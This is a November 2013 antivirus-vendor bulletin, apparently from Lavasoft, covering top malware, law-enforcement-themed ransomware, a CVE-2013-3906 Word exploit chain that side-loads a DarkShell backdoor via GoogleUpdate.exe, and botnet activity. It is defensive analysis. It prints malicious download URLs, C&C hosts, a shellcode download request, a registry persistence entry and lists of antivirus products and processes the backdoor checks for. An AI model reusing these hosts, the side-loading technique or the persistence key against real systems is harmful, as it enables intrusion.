Top20 Blocked Malware

The Top 20 malicious programs blocked on PCs

Malware Prevalence Table - November 2013

The table below ranks the most prevalent families seen in November.

New malicious programs entered the Top 20

A new Fake-AV interface that falsely claims to detect hidden threats on a user’s computer was discovered in the wild in November. It is detected by Ad-Aware as Trojan.Generic.6779300.

Fake AV (MD5: 64eeefff673a9ab54d060842430be2b7) is detected by Ad-Aware as Trojan.Generic.6779300

Ransomware continues to intimidate and scam users. Recent variants claim to be messages from local law enforcement/government organisations that have blocked the affected computer due to violations of laws related to viewing/distributing pornography and downloading torrents. As usual the majority of blockers suggest paying a fine of $300 using MoneyPak, Ukash and PaySafeCard.

Ransomware (MD5: 4de74cbc160042adfe9c012b71b3d935) is detected by Ad-Aware as Gen:Variant.Kazy.289928

Ransomware (MD5: 4f0f38bad8279cc0705cf6dd563c6bc6) is detected by Ad-Aware as Gen:Variant.Kazy.289928

Ransomware (MD5: 6c8bfd752e032fef6a9d168f923a5231) is detected by Ad-Aware as Gen:Variant.Kazy.289928

However we caught the French blocker which suggests paying with a bank card.

Ransomware (MD5: 6c0e73b795787d651606847d73bc326e) is detected by Ad-Aware as Gen:Variant.Strictor.36755

Some ransom families have introduced countdown timers (48 hours on the screenshot below) in the latest versions. Similar timers were used by Cryptoblocker described in the October’s Security Bulletin.

Ransomware (MD5: 8bcc460ca4171cfe6165c3e10caf97fa) is detected by Ad-Aware as Gen:Variant.Kazy.285775

Some of the Trojan-ransoms show the pornography content supposedly found on a user’s computer which is common technique for the most of ransomware.

Ransomware (MD5: 908478d1f1faa539f228bbe4fcf23b6d) is detected by Ad-Aware as Gen:Variant.Kazy.285775

Microsoft Office Zeroday

On 5th November, Microsoft reported a new vulnerability, CVE-2013-3906, when processing Microsoft Word documents. The exploit is embedded in a specially crafted Word document that contains a malformed TIFF image which may cause malicious code execution. The exploit is able to bypass DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) protections but will not work while blocking ActiveX controls embedded in documents is enabled.
According to AlienVault Lab the first known attack appeared to target a Pakistani audience as the malicious documents are related to the Pakistani military and Intelligence Service - the downloaded backdoors also connect to C&C located in Pakistan. The documents were dated 22nd of October 2013.

We analyzed several CVE-2013-3906 exploits delivered in DOCX. All of them execute shellcode statically sprayed within the document having the same structure:

Shanti Dyanamite.docx (MD5: 1fd4f3f063d641f84c5776c2c15e4621)

All the shellcode has the identical obfuscated code. It uses runtime linking to load the standard set of functions: kernel32.dll: GetTempPathA, ExitProcess, shell32.dll: ShellExecuteA, urlmon.dll: URLDownloadToFileA.

After execution the shellcode downloads the backdoor.

GET /bruce/winword.exe HTTP/1.1
Host: flatnet.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

The exploits differ only by malware downloading URL at the end of the shellcode. The below URLs were offline at the time of analysis:

hxxp://myflatnet.com/ralph_3/winword.exe
hxxp://landasc.w100.1860php.com/kor.exe
hxxp://210.19.13.199/java.exe

However, others are still utilized to download the following backdoors:

The downloaded backdoor in the first case (servers.exe, MD5: 7896b76c83ddcdcb9f269dc242b914eb) contains the stolen certificate:

The second downloaded file is a Trojan-Dropper detected as Dropped:Trojan.Generic.9860611 by Ad-Aware that drops the following files to %Documents and Settings%\%user%\Templates\:

1. GoogleTool.exe (116 648 bytes, MD5: 506708142bc63daba64f2d3ad1dcd5bf) – original GoogleUpdate.exe application, which is signed by Google Inc.:

2. Goopdate.dll (44 544 bytes, MD5: e4cb1ea2667f1b3b712f4402f0737627) – malicious DLL that use the name of the legal GoogleUpdater library.

3. Noew.SAM (143 360 bytes, MD5: 57c2f8891234bcd4034bc830ce64d0c8) – obfuscated PE file.

To automatically run itself each time Windows is booted, the Trojan-Dropper adds the following link to its file to the registry run key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Microsoft" = "%Documents and Settings%\%current user%\Templates\GoogleTool.exe"

The GoogleTool.exe (original name is GoogleUpdate.exe) is designed to link the dll with the hardcoded name “goopdate.dll”.

Unicode strings from GoogleTool.exe (GoogleUpdate.exe)

This peculiarity is used by malware authors to launch a malicious module which has the same name (goopdate.dll). The DLL checks if it has been loaded by GoogleTool.exe to launch the malicious payload “rundll32.exe goopdate.dll,MyExtern”.

The payload of the DLL is decoding the dropped Noew.SAM file:

Which turns into a malicious DLL after decoding (MD5: f573cedb34ef3c92d686f9b03c078589):

The DLL is the DarkShell backdoor detected by 13/46 antiviruses on VirusTotal

Once started the backdoor connects to the following C&C server:

website.baesystems.ca (112.175.79.49:8001)

The server was offline during analysis. According to WhoIs service it is located in South Korea.
The DarkShell provides the remote access to the attacker which allows the following on the infected computer:
- a reverse shell,
- keylogging,
- making screenshots,
- video capture,
- downloading and executing applications,
- collecting system information (Windows version, memory, processor, computer name),
- checking for the installed firewall or antivirus from the list below:

AntiVir
Avast Antivirus
AVG Antivirus
BitDefender
Dr.Web
Kaspersky Antivirus
Nod32 Antivirus 2.x
Ewido Security Suite
McAfee VirusScan
Panda Antivirus/Firewall
Symantec/Norton
PC-cillin Antivirus
F-Secure
Kingsoft Internet Security 2008
NOD32 Antivirus 3.x
Rising Antivirus 2008
Jiangmin Antivirus
360 Antivirus
Norton Personal Firewall
ZoneAlarm
Comodo Firewall
eTrust EZ Firewall
F-Secure Internet Security
McAfee Personal Firewall
Outpost Personal Firewall
Panda Internet Seciruty Suite
Panda Anti-Virus/Firewall
BitDefnder/Bull Guard Antivirus
Rising Firewall
360Safe AntiArp

- checking for the running processes from the list below:

avesvc.exe
ashdisp.exe
avgcc.exe
bdss.exe
spider.exe
avp.exe
nod32krn.exe
ewidoctrl.exe
mcshield.exe
pavfires.exe
ccapp.exe
pccntmon.exe
fssm32.exe
kavstart.exe
egui.exe
ravmon.exe
kvsrvxp.exe
bdagent.exe
issvc.exe
vsmon.exe
cpf.exe
ca.exe
tnbutil.exe
mpfservice.exe
outpost.exe
tpsrv.exe
pavfires.exe
kpf4ss.exe
rfwsrv.exe
antiarp.exe

We can conclude that the attack had several steps that ultimately lead to the backdoor installation. It starts from the exploitation of the recently discovered CVE-2013-3906 vulnerability used in DOCX then continues with downloading and dropping the legitimate GoogleUpdate.exe application to run a malicious DLL which decrypts and executes the backdoor body.

The attack scheme using CVE-2013-3906 and GoogleUpdate

From the analysis the following points come out that help the attack to be undetectable and wide spread:
• Using CVE-2013-3906 discovered in the beginning of November (Microsoft FixIt tool was released that disables TIFF codec on a user’s system).
• Using the legitimate GoogleUpdate application as a malware launcher, it is started from the autorun key in the system registry.
• The backdoor body is obfuscated using a simple shuffling algorithm which helps to avoid detection.
• The backdoor (DarkShell) and decoding module (goopdate.dll) are implemented as DLLs and loaded by the trusted GoogleUpdate.exe and rundll32.exe processes.
We are expecting more attacks using the CVE-2013-3906 vulnerability in DOCX files the next month and recommend our readers to install FixIt from Microsoft or install Ad-Aware antivirus.

Bots Review

Table: Bots under analysis (November 2013, Lavasoft MAS).

Bot distribution in November:

Kelihos

This month we observed new file names in the URLs used to download Kelihos updates:

whiteh1.exe boris03.exe dun0006.exe setup21.exe setup22.exe nimble2.exe safpro01.exe inkr001.exe

We noticed that some of the names were slightly modified by incrementing the suffix number, like ‘boris02.exe’ in October and ‘boris03.exe’ in November.

Cycbot. The latest description on Cycbot can be found here. The backdoor can be easily detected by the following connection:

hxxp://TRANSERSDATAFORME.COM/gate.php

Shiz A new description has been added to the Malware Encyclopedia where we continue to see EU domains being used by the backdoor.

Zbot, similar to Shiz, continues to use EU domains to download malicious binaries.

NrgBot/DorkBot

The latest description shows that the bot connects to the phishing domain:

hxxp://api.wipmania.com.stcus.ru/icon/n.api

together with the request to the original one:

hxxp://api.wipmania.com/

It downloads "n.api" file (MD5: 8b6bf3920aee6ad725cdc06bb815cab7) which is an NrgBot update detected by Ad-Aware as Trojan.GenericKD.1433214)

In November, we caught an Rbot variant that used Dropbox to download malware:

hxxps://www.dropbox.com/s/6hmm09s9gg54wep/critical.exe?dl=1

The content downloaded by the link is currently temporarily disabled due a high number of download requests. At the time of analysis the file was Bitcoin Miner tool (MD5: afcf6074a63ed40209cbdf8818e59fea) and detected by Ad-Aware as Trojan.Generic.10020557.

Nrgbot also used Dropbox last month to download BitCoin Miner and Shakblades Worm.

During the month we detected 13 successful downloads from Dropbox by different malware.

Top20 Potentially Unwanted Programs

Below are the Top20 Potentially Unwanted Programs blocked by Ad-Aware on user’s PCs. These are advertising software, browser toolbars, search engines and other programs which change browser start pages and other system settings.

Top20 PUPs detected on user’s PC

Operating Systems

Geographic Location